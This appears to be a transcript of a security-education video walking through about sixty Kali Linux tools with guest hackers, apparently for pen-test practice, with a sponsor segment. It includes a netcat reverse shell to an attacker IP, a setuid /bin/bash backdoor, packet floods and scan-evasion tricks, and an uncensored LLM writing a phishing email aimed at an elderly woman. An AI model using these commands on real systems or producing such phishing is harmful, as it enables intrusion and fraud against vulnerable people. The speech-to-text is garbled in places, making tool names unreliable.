Here are the top 60 hacking
commands you need to know. I also brought in a few experts, so get your coffee ready if you want
to try these commands right now. I've got a free Cali Lennic
Sandbox and a description. Just click that link and right here in
your browser, boom hacking environment. Make sure you read the instructions.
You get two hosts to hack with. Also, all the commands in this video
are in the description below. We even created this beautiful
top hacking commands cheat sheet. You got to have this
the humble ping command. We ping a host to see if it's
up and if it's up we'll hack it. But right now we're sending a
64 byte packet. What do you say? We send something bigger to
test firewall capabilities. We can type in dash S and
specify the size of our packet, testing the capabilities of a
firewall, or we can get even crazier. We'll still send our
large packet dash S 1300, but then we'll use the switch dash F to
absolutely obliterate this host flood. A ton of packets. And actually before
we do that, I want to see this happen. I'll start another terminal and
give you a bonus command here. This tool is called IF top. I'll install it with a PT install if
and then type in if F top to run it. Now let's flood. Look at that. That's a lot of data control C to
stop that. Same for if F top. Goodbye. And actually let's keep IF top up
because we're not done with ping yet. I know you didn't realize there's so
much to ping and this tool is kind of crazy. It's called H ping three. We'll install it with a
PT install H ping three. And we can do fun things like flooding
packets on a specific port. For example, port 83 s for a T CCP packet V for verbose mode gives us more flood
to make it rain. And finally the host. Here we go man, look at that.
And we're hitting port 80. Great for testing web servers. We can also use H ping three
for a fancy trace three V and then here's what's cool. We'll do dash one four I CM P packets
and then our host network chuck.coffee, but sometimes firewalls P with
trace route removing dash one. We can instead do P 80 and
S doing trace route on port 80, which is web traffic using of
course CP and pick your port maybe 4, 4, 3, maybe 53. Use the DS port specifying UDP
traffic or with TCP traffic we can add the dash a switch setting
the act flag and then change our base port with dash dash base port 1, 3, 3, 7. All amazing options to help
us evade firewall rules. Now I bet you thought we were
done with ping, but we're not. You can tunnel TCP packets over
ICMP echo reply and request packets. What? Check this out. It happens
with the tool called P tunnel. A PT installed P tunnel. On the target
side, we'll simply run P tunnel. On the attacker side we'll run
P tunnel P for proxy address, it'll be our target dash LP.
To specify our local port, we'll do 8,000 dash DA for
our destination address. It'll also be our target and we'll
do dash DP for our destination port. And because I'm going to try SSH,
I'll do port 22 ready set tunnel. Now to watch this happen in real time,
I'm going to show you a new command. CP dump will help us to capture and
visualize these packets in real time. We'll use a PT install TCP dump to
install it and then we'll run T CCP dump dash I for interface and we'll say any.
And we're only looking for ICMP traffic, so we'll type in ICMP. Now watch
this. I'll want you new terminal. Now I'm going to go over this tunnel
using ICMP packets. Oh my gosh, check this out. SSH P report specifying 8,000
and I'll do username network. Chuck, that's my username at the other host
at local host pointing it right here on this computer, this server. Ready,
set, go. Do you see it happening? Oh my stinking, gosh. Literally
sending SSA traffic over ICMP. Echo reply echo request. That's
magic. Who am I IP address? Yep, I'm somewhere else. That's so cool. And control C to close
those tunnels on both sides, this is great for evading firewalls
that might block that type of traffic. Here's a quick command from
Tom, nom, nom, nom nom. No, no. I'm Tom m nom and this is
a trick I use all the time. If you're running a command and you
don't know what you want to do with the output yet, pipe it to vim dash. That'll
open the output of the command in Vim, and then you can either manually edit
it or you can use column percent bang to run it back through any command
you want. Run it through, sort to put things in order or grip
dash V to remove lines you don't want. And then as a bonus, if you have a
file name under your cursor at G, then F to open that file in a new buffer. Nmap will scan a network helping us
to discover hosts that we can hack. Here's some fun ways to use it. First, make sure you install
it A PT install Nmap. We can scan an entire network for
quick mapping with Nmap dash, sn, and then our target network. Hey, it
found 11, host the switch, lowercase s, capital V will do service discovery
on a target works like a charm. Use the capital O switch for OS
detection. Well hold up, we tried, but it's blocking ping probes. Let's
try dash PN to not do the probe. We'll add that to our command
dash capital P lowercase n bam. We got it's a Windows pc. We can use a lowercase s capital L switch
to do quick host name scanning on a network. Nmap scripts,
unlike a whole new world, we can scan for vulnerabilities on a
host with script vol and then our target host or network, we can use the malware
script to scan for known malware. With the capital A switch, we can
scan for pretty much everything. Take a little coffee
break, it'll take a while. This one switch does OS
detection, version detection, some default script scanning
from Nmap and the trace route. That's a lot of info. That's awesome.
If we use the lowercase F switch, it'll fragment our packets and make it
harder for us to be detected while we're scanning. We can also avoid detection
by changing our source port. Using these source port switch, we can
just say, Hey, I'm DNS, don't mind me. And if you really want to be tricky
with Nmap, you can scan with decoys, check this out, Nmap dash capital D for decoys
and then specify r and d all capital. Let's say 10. What that will
do is generate 10 random IP addresses, random decoys that you're scanning
from so they can't find you. We'll put our host in and then bam
scanning from 10 different IP addresses. Now Inmap is cool, but what you have a lot
to scan like networks upon
networks and you want to scan them fast, that's where
mass scan comes in. One install mass scan with
a PT install mass scan. Mass scan is similar to Nmap and that we
can specify ports to scan for specify a network, but then we can specify our
rate and go super fast just like that. Or if we have no idea
what networks we're dealing with, we can scan everything by the entire 10
point subnet range and we'll do a rate of 10,000. Now it is fast, but you still might want to
take a coffee break just saying we'll just control see that. We could also use the randomized host
switch to change the order in which we scan our host or networks helping us
stay a bit more hidden or we can quickly find servers foolishly running
telenet on a network. Super insecure, but we can find that out right now simply
by specifying port 23 and scanning an entire network fast. Got one. Now here's John Hanman with something
a bit silly but I love it though. You normally just enter LS on the
command line to list stuff in the current directory. Well, did you know that
there is actually an S SL command? Like if you were typing really fast or
you accidentally made a mistake or you had a typo when you meant to type
LS and you accidentally typed S sl, this is the steam locomotive
and it is a train that is displayed on your computer screen,
on the command line on the terminal. And look, you can't get out of
this, you can't type anything, you can't do anything. You just have to
wait for the whole train to drive by. Now the next fun hacking command that I
want to show you is actually part of the dev piece of the file system. I
don't know if you're familiar, but there is a slash dev
slash udom file and that is like a device to list out PSEUDORANDOM
data just coming from your computer, right? Hey, you have a stream, a constant stream of randomness
and this looks hysterical. It is just gibberish nonsense
zeros and ones and all the data up to 255 askie
characters printable non-print. And it just looks like absolute chaos.
You can control see out of this, but sometimes it might break the terminal
and you can't actually continue to interact with the shell. So it's something that you might be
able to do as a troll, as a meme, right? So what if we actually set an
alias for that same LS command? Maybe we could set that to a cell if we
wanted to run the steam locomotive train again, but we could set that to
Cat deran and now anytime someone were to actually enter LS on
the command line thinking that they're going to list files, it'll just spit up and go crazy with
all that random gibberish nonsense. I think that's kind of fun. By the way, John Ham who will show us a real hacking
command he loves later in the video, the who is command will tell you
a ton of stuff about a domain, install it with a PT install,
who is microsoft.com, fax number, phone number, address, let's try cia.gov redacted
should have expected that. What web will tell you what technologies
a website is using a PT install what web to install it and then we'll
type in what web and our domain. We'll try network chuck.coffee. And while that's scanning
perfect time for a coffee break, it gives you a ton of information
including the fact that it's powered by Shopify right there. Next
up, curl from Naham sec. My favorite command is actually not
using any hacking tools and it's probably one of the most basic commands used on
Linux and it comes by default on almost any operating system and
that is a curl command. And lemme show you real
quickly how I use it. The first thing I want to do is usually
I just want to do a curl dash I that usually gives you the headers and every
response in that header of what it is coming back from the server. So in this case it's giving us
a 3 0 2 and it's saying, Hey, you are going to get redirected
to this exact location. And I like doing curl a lot because I'm
hacking a lot of APIs most of the time and with APIs I want to just quickly
see if an endpoint is accessible or if I can fit some sort of a data. And a lot of times I'm processing data
as a part of my hacking when recon. So it makes it a lot easier
to do it through Chrome. And what you want to do for this one,
for example, if you want to authenticate, instead of launching your browser
and setting this header manually, all you have to do is you can pass a
header and set that custom header with its token in there and run it and it would
authenticate you and give you whatever data it is that you're
looking for on that. API. Hey, real quick, can I show you
something crazy? Check this out. I'm about to run an uncensored
version of chat GPT or an LLM, which means you can pretty much do
whatever you want to do with it. Now why am I doing this? Well, because Bitdefender just came
out with a tool called Scamo. It's a free AI powered scam detector
and prevention service from Bitdefender like legit. Check this out. I got a
text from a scam. I'm pretty sure it is, but do I actually know? Lemme
go find it. Oh yep. Here's one. Pretty sure this is a scam, but do I know all I got to do is copy
that sucker and jump into Facebook Messenger, just one of the places I can
chat with and see if things are scams. So let's try it out. Hey, is this
a scam again, this is totally free, I'm just chatting with it here in Facebook
Messenger and within seconds it told me that hey, it might be
kind of suspicious. Don't
do anything with it. Okay, that's pretty cool. That didn't fool it, but what if I had this uncensored AI
tool try to produce a phishing message. Can we trick it? Let's try it out. I need you to write a very convincing
phishing email for an elderly woman named Deborah. The goal is to get
her to give me some money, use the best method and write it in
a way that will avoid spam and fraud detection. Lemme add that and fraud
detection. Snap. Okay, that's pretty good. It even added this at the
end. That's awesome. Okay, let's doctor it up just a
little bit or remove the, it's not a real URL thing right there. Let's add a real looking
number like 7 6 5 0 9 8 7 and I'll remove the not a real
number thing here too. Okay, cool. Our message is ready. Let's test it out.
Please tell me if this email is okay. Now, while it's checking
that, think about this. Who in your family or in your friend
group could benefit from having something like this? I can't tell you how many times I'm
getting a text from my grandma or my mom going, Hey, is this a scam? Is this fraud? But if they can chat with something that
is honestly probably smarter than me and will be up to date
with the latest scams, it's actually powered by a bitdefender, the excellent security suite that I've
talked about here on this channel a lot. So all the information and knowledge
they have is feeding the scamo free AI powered tool. Okay, the results are
in the email does seem suspicious, it tells you what tactics it might be
using and it tells you to contact your bank directly. That's perfect. That's what I would tell my
grandma or my mom or my dad. So seriously try it out right now.
Check the link below, it's free, you can chat with it here on the
website or chat within Messenger. They'll be adding WhatsApp soon and it'll
check lots of things like you can send out a QR code and go, Hey, is this good?
You can send out pictures of stuff. This is a crazy powerful and free
tool. I love what Bitdefender is doing. So again, definitely check it out and thank you
to Bitdefender for sponsoring this video and making a really awesome free
tool available to all of you guys. Nick to is an open source web server
scanner that'll scan websites for any dangerous bad stuff. It
might have to install it. We'll do AP PT install Nick to and
for a basic vulnerability scan. We'll do Nick to dash H for our
host and specify our host network. Chuck dot copy go Buster can be used
to find directory and files on a web server. We'll install it with a PT install Go
Buster to enumerate network chuck.com. We'll do go Buster, we'll
type in DUR for directories. That's the mode we're going to be in. We'll type in U and specify our domain
network check.com and we'll use the dash W to specify our word list. I'll use a default Cali Linux one here
and go and it's discovering all my directories files now because Go Buster
is written and go is extremely fast. Subdomain, enumeration,
yeah, we can use it for that, but first I want to download a word list
to get a ton of word lists right now on your system we'll use the tool
called SEC list A PT install SEC lists. Fair warning, this is
pretty big. Lots of word lists. Once it's done downloading, you can find it in user share SEC list. Lots of stuff in there. Now real quick,
if you only want to download one thing, the thing that we care about,
there's a command for that. It's called W Get Cyclist is also on
GitHub and it's maintained by my friends. What we care about is discovery and DNS
and we'll get Jason Haddock's list here. I'm going to grab the raw URL to
install W get a PT install W Get Kind Seeing a pattern here, right? Type in W get paste at URLW. Got
it. Now getting back to Go Buster, we can enumerate domains. We'll
type in go Buster mod BDNS. We'll specify our domain with dash D
network check.com and then our word list with dash W. I'll use Jason
Haddock's DNS. Ready, set, go. Now that's a pretty big list and
if I were doing a legit pin test, I'd probably let this finish out
but I don't have time for that. I'm not patient enough
Control C to stop that. I want to show you another way
to do subdomain enumeration. This tool is called sub lister.
You can install it with a PT, install sub lister just like
this and the E is a three. And then to run sub lister, we'll simply type in sub lister dash D
to specify our domain network check.com and let it go. And it found a lot of
stuff. This next one is pretty fun. It's called WP Scan. It will scan WordPress sites and help
you find all the issues that might be affecting it. Great. If you're a
WordPress site owner and great, you're a pen tester, let's try it
out. We can run it in a few ways. The first way WP scan, we'll do
dash dash URL and specify our URL. We'll do chuck keith.com, my personal
website that's not doing anything. And then we'll do dash enumerates you, not you the letter you the U
stands for users, let's try it out. That's a lot of information. We can
also use the P option for plugins. We can use T for themes or do
something pretty aggressive. We'll do VP VT dash plugins, dash detection and we'll add aggressive
at the end just to make sure we get our point across. This is a super aggressive
vulnerability scan. Let's try it out. Now you may have noticed that all those
commands did not output anything fun because you need an
API token from WP scan, which you can get for free right now. And then you would run the commands like
this specifying your API token with a dash API dash token switch. A mass is
another tool you can use for subdomain. Enumeration. Install it with a PT install
and to run it we'll type in a mass, type in enu dash adidas specifier
domain network chuck.com and let it go. This tool might run forever. Alright,
I don't want to wait for it though. Control C to stop that. But man, look at all the stuff about to
do a more passive enumeration. You can do this a mass and
we'll specify a dash passive and then our domain, whereas the
other one was a bit more active. I like AMA because it does give us options
based on what our scope is and we'll go ahead and stop that. This next command
opens up the door to new commands. What does that mean? You'll
see it's a tool called gi, which we'll often use when you first
start out to interact with GitHub. Let me show you. There's a tool we're
about to use called Search point, but the way we use this tool is by
downloading it from GitHub and actually I lied, this is a GitLab repository,
but it's pretty much the same thing. You'll use GI all the time to
install all kinds of stuff, but first we have to install GI A
PT Install Get you probably already have it. And then probably my
favorite command is GI Clone. We're going to clone a tool onto our
computer and in our case it will be search point. Let's go to properly use that
command, we'll add a symbolic link. We're not going to talk about that,
just know it's a command below. And then finally we can use the
command search exploit, right? Yeah, it's going to work. Let's try
searching for WordPress plugins. It'll search for exploits that involve
WordPress plugins. What about SSH? A ton of exploits pertaining to SSH Super
handy tool if you want to update the database search exploit
dash u crazy powerful tool. Now here's John Hammond
with a real hacking command.
It's kind of awesome. Let. Me get into the real genuine ethical
hacking and penetration testing. My favorite top hacking
command. Here's the thing, when you're on the command line
interacting with the shell, you're actually running this program
called Bash or the born again shell. Now that lives on the file
system and slash bin bash. So if I were to actually execute this,
it doesn't look like it does anything, I just get the prompt back because I've
just invoked and I'm running a shell or terminal inside my shell so I could
exit out of that and get back to my original prompt. But Ben Bash actually takes a
special argument called TAC P and that will enforce and
maintain set UID permissions, which means that the
owner of the file root, in this case the admin absolute controller
of the computer will be able to keep their permissions but it
has to be a set UID binary. So the way that we could do that
is to actually change mod or CH modifications, change modifications on the
file and add or plus the S letter for set UID. We'll put that on Bin Bash and
this will require some root privileges. That means that you need to be the
admin to be able to configure this. But what that ultimately does is
create a back door or you have a persistence mechanism, a little bit of a foothold so that at
any point if we configure this with our pseudo password later on down the line, you get access to this
machine one more time. Now you can just run bash tack P and you are root, you control the whole
machine because you are the admin user. You set up that back
door. If you wanted to, you could move into the root directory
and you could do anything that you want. Maybe we could echo hello into a please subscribe to network Chuck, I'll hit enter on that. And now if
I zoom out, let me show you this. LS Tech LA we can see
our file right there. Please subscribe to network Chuck. Hey, just owned and controlled by the root
user and we were able to configure that with our back door. Pseudo
CH mod plus S bin Bash. That is my favorite top hacking
command because then you've got a backdoor, you've got a persistence mechanism
and a way to become root at any point. I hope you enjoyed a couple of those.
Really neat Hey top hacking commands. But thank you so much network Chuck
for letting me join the party here. This was an absolute blast. Now I'm going to do something bad. I'm
going to do the same command twice. What? No, I know. It's okay. We're going
to talk about TCP dump again. Why? Well because there's more cool stuff about
it and we didn't give it enough time. We'll type in TCP dump, we'll type
in dash W to send it to a file. We'll just call it capture dot pcap. Then dash I for our interface
and we'll do ethernet zero. That's the one I have now lemme just make
sure that's the case. IP address, yes, ethernet zero and go. And
we'll generate some traffic, do something fun that we've already
learned and map with random addresses. Decoys. We'll stop that with CTRL C. We can analyze that
traffic with this command. TCP dump dash r specify our capture
file which just capture pcap. Let's take a look. Cool. We can see we can also limit the amount
of packets we capture with TCP dump and the switch dash C for counts. And
we'll say like 100 that did not long. Now TCP dump is pretty cool. Great for quick captures but the real
tool you want to use that's crazy powerful is thar the command line
brother of Wireshark. To install thar we'll do a PT
install thar thar can do a lot. Let's try a few things. First we'll type
in thar and we'll capture one packet, just one. We'll put it in
verbose mode with dash capital V, we'll do dash C for count.
We'll do one and then dash IE, the 9 0 1 packet captured. And then
look at all the stuff it shows us. That is so powerful. Networking geeks
are just drooling. So yes, I'm drooling. Do you want to see something
crazier filters. Watch this T-shirt. We'll do a dash y to apply a display
filter and with this single quote we'll specify we'll do http request method space equals equals and a double quotes
get and then close it out with a single quote. I know it's kind of wordy but check
this out. Let's specify our interface get at zero and we're now capturing only
showing get request. How cool is that? Let's generate some curl
academy.network chuck.com. There's another one that's so cool. Now one of the most powerful ways we
can use thar is by analyzing packet captures. So let's do a capture real
quick to a file thar and actually no, I'm going to show you one cool thing. We'll use a command called timeout and
put in 15 seconds and it'll time out or stop this packet capture in 15
seconds. That's pretty cool. Thar dash I ethernet zero and
with a dash w command similar to TCP dump. We'll send that to
a file thar dash p app me. Try to generate some quick traffic
and done to display statistics and specifically to follow
endpoint connections. Use this command thar dash
r, we'll specify our capture, which was thar pcap. Then we'll use the switches dash
qz and specify endpoints ip. How cool is that? We could also follow A TCP stream with
thar dash RR capture dash qz and we'll say follow comma TCP. And
we'll put that in ask E. So ask E, we'll do comma, we'll follow
the seventh stream. That's pretty cool. Let's try, I dunno, the first
stream. First stream's crazy. Let's do the 20th stream, the
hundred stream. So powerful. We can also simply do custom output
of fields based on the capture we're reviewing. Check this out thar
do a dash e IP source dash e IP desk or DST dash e framed protocols. Notice we're specifying fields.
We'll do a dash T fields, which is telling it to only output
the fields we're specifying. And then finally dash r specifying our
capture. How cool is that? So powerful. This is my new favorite tool. Tux a terminal multiplexer
install tux with APT install tux. And then simply type in tm. We suddenly have a new terminal
that we can do stuff in like ping academy.network chuck.com,
leave that there. Hit control B and then D on your
keyboard, you're detached from it. And then with tux A get right
back to it. How powerful is that? I'll stop type in exit to close that out. We can create multiple sessions
and name them. So team UX, new dash S and name it Bob, here's
Bob. We'll ping something here. Detach from that for
another session, Susie. Now if I type in tux ls, I've got two sessions and I can
reattach to either of them, team ux, a dash t to specify my target will
say Susie jumping right back in there. I can hit control B and then W to
quickly jump between my various team Uck sessions and I can leave,
go to another computer, jump back in here and connect
to any one of these sessions. If you want to learn more, I did a whole
video on team UX right up here. SSH. We use it all the time to remote
into our systems. So for example, this Ubuntu guy to jump into him, I'll use SSH Ss H network
Chuck at his IP address already. Cool. But it can do
more. Instead of logging in, I can actually just run a command via
SS H on another system with SSH network. Chuck at my server. And then right after
that specify the command I want to run. So in single quotes I can say, who am I? BAM or IP address. Crazy powerful. Let's get crazier. You
can actually make it a SOX proxy. What? Watch this. Before I create the tunnel, lemme demonstrate my location right now
what's my IP address? I'm in Dallas, Texas as you can see right here.
But if I use this crazy SSH command, I'll create a proxy and tunnel
myself somewhere else. SSH dash D, which is telling it to create a SOX
proxy. And I'll say port 1, 3, 3, 7. We'll do a dash C for compression dash
Q for quiet mode and dash N to not execute any commands. And finally
our server information root at, and this will be a server in
Japan. Put our password in. Now we're going to launch chromium
using that proxy. Our SOX five, the local host. Ready, set,
go. Chromium's launched. Now I'll see where we are already
feel a bit different and giving them, having a hard time figuring out where
to go. I'm definitely in Osaka, Japan. Super cool, right Netcat our go-to
for reverse shells. To install netcat, we'll do a PT install
netcat dash traditional. To verify, just type in NC dash H and with Netcat
installed on both your attacking computer and your target computer. Let's do
a reverse shell on the attacker. All we got to do is wait, wait for the shell type in
NC dash LVP and the port. You're waiting on 1 3, 3 7. We're
waiting because on a reverse shell, the target reaches out to us On the
target side, we'll type in NC for netcat, we'll do a dash e and specify the
shell we want to have access to. So we'll do slash ben slash
sh specify our attacker ip, which is us and the port 1, 3, 3, 7 that
the attacker is listening on and they one hit enter if something happened.
It sure stinking did check it out. I'm on the other computer.
I've got a reverse shell. They can also do a fun thing where you
just set a simple chat server with net cap. Why? I don't know. But you can
do it. You should try it. It's fun. On one side you type in NC dash
LVP, set up port on the other side, type in NC dash V, the IP address of the other
computer and the port. So now I can say hey and I
get hey, on the other side, what are you thinking about
the end of this video? Me too. I'll catch you guys
next time. For real though.